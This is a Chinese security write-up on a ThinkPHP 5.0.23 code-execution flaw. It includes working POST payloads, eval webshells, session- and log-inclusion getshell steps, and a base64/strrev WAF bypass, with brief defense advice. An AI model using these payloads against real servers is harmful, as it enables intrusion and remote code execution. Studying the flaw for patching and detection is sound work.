记一次有趣的tp5代码执行
字数 1241 2025-08-26 22:11:40
ThinkPHP 5 Method代码执行漏洞分析与利用
0x00 漏洞概述
本文详细分析ThinkPHP 5.0.23版本中存在的Method代码执行漏洞,该漏洞允许攻击者通过精心构造的请求在目标服务器上执行任意PHP代码。
0x01 漏洞环境信息
- 受影响版本: ThinkPHP 5.0.23
- PHP版本: 7.1.7
- WAF限制:
- 拦截PHP标记:
<?php,<?=,<? - 拦截函数:
base64_decode,file_get_contents,convert_uuencode - 拦截关键字:
php://
- 拦截PHP标记:
- disable_functions:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open, proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog, readlink,symlink,popepassthru,stream_socket_server
0x02 基础利用方法
初始Payload
POST /?s=captcha
_method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
常见利用思路
-
写日志+包含日志Getshell
- 写shell进日志:
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?> - 通过日志包含getshell:
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
- 写shell进日志:
-
写Session+包含SessionGetshell
- 写shell进session:
POST /?s=captcha Cookie: PHPSESSID=kking _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1 - 包含session getshell:
POST /?s=captcha _method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
- 写shell进session:
0x03 WAF绕过技术
由于WAF拦截了<?php等关键字,需要使用编码和伪协议技术绕过。
Base64编码与php://filter伪协议
-
Session文件内容示例:
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+解码后:
<?php @eval($_GET['r']);;?> -
包含方式:
include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
本地测试Payload
-
设置Session:
POST /?s=captcha _method=__construct&filter[]=think\Session::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1%2b是+的URL编码- 前后添加
ab是为了满足base64解码长度要求
-
包含执行:
POST /?s=captcha&r=cGhwaW5mbygpOw== _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
0x04 技术细节分析
为什么使用特定Payload格式
-
不使用标准Base64编码的PHP代码:
- 直接使用
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4=无法正常解码 - 改用
PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+(多一个分号)
- 直接使用
-
多层编码原因:
- 第一层: 原始PHP代码
- 第二层: Base64编码绕过WAF
- 第三层: 使用
strrev反转字符串绕过php://关键字检测
filterValue方法分析
ThinkPHP的filterValue方法可以接受多个filter,对value进行多次处理:
- 先使用
strrev反转字符串 - 再使用
think\__include_file包含文件
0x05 完整利用步骤
-
设置Session:
POST /?s=captcha Cookie: PHPSESSID=kktest _method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1 -
文件包含执行:
POST /?s=captcha&r=cGhwaW5mbygpOw== _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
0x06 防御建议
- 升级ThinkPHP到最新版本
- 严格过滤用户输入,特别是
_method、method和filter参数 - 禁用危险的PHP函数
- 配置WAF规则拦截可疑的请求特征
- 限制文件包含操作,特别是对session文件的包含
0x07 总结
该漏洞利用ThinkPHP框架的Method参数处理机制,通过精心构造的filter链实现代码执行。在存在WAF限制的情况下,通过Base64编码、字符串反转和多层filter处理等技术成功绕过防护措施。这种漏洞利用方式展示了现代Web应用安全攻防的复杂性。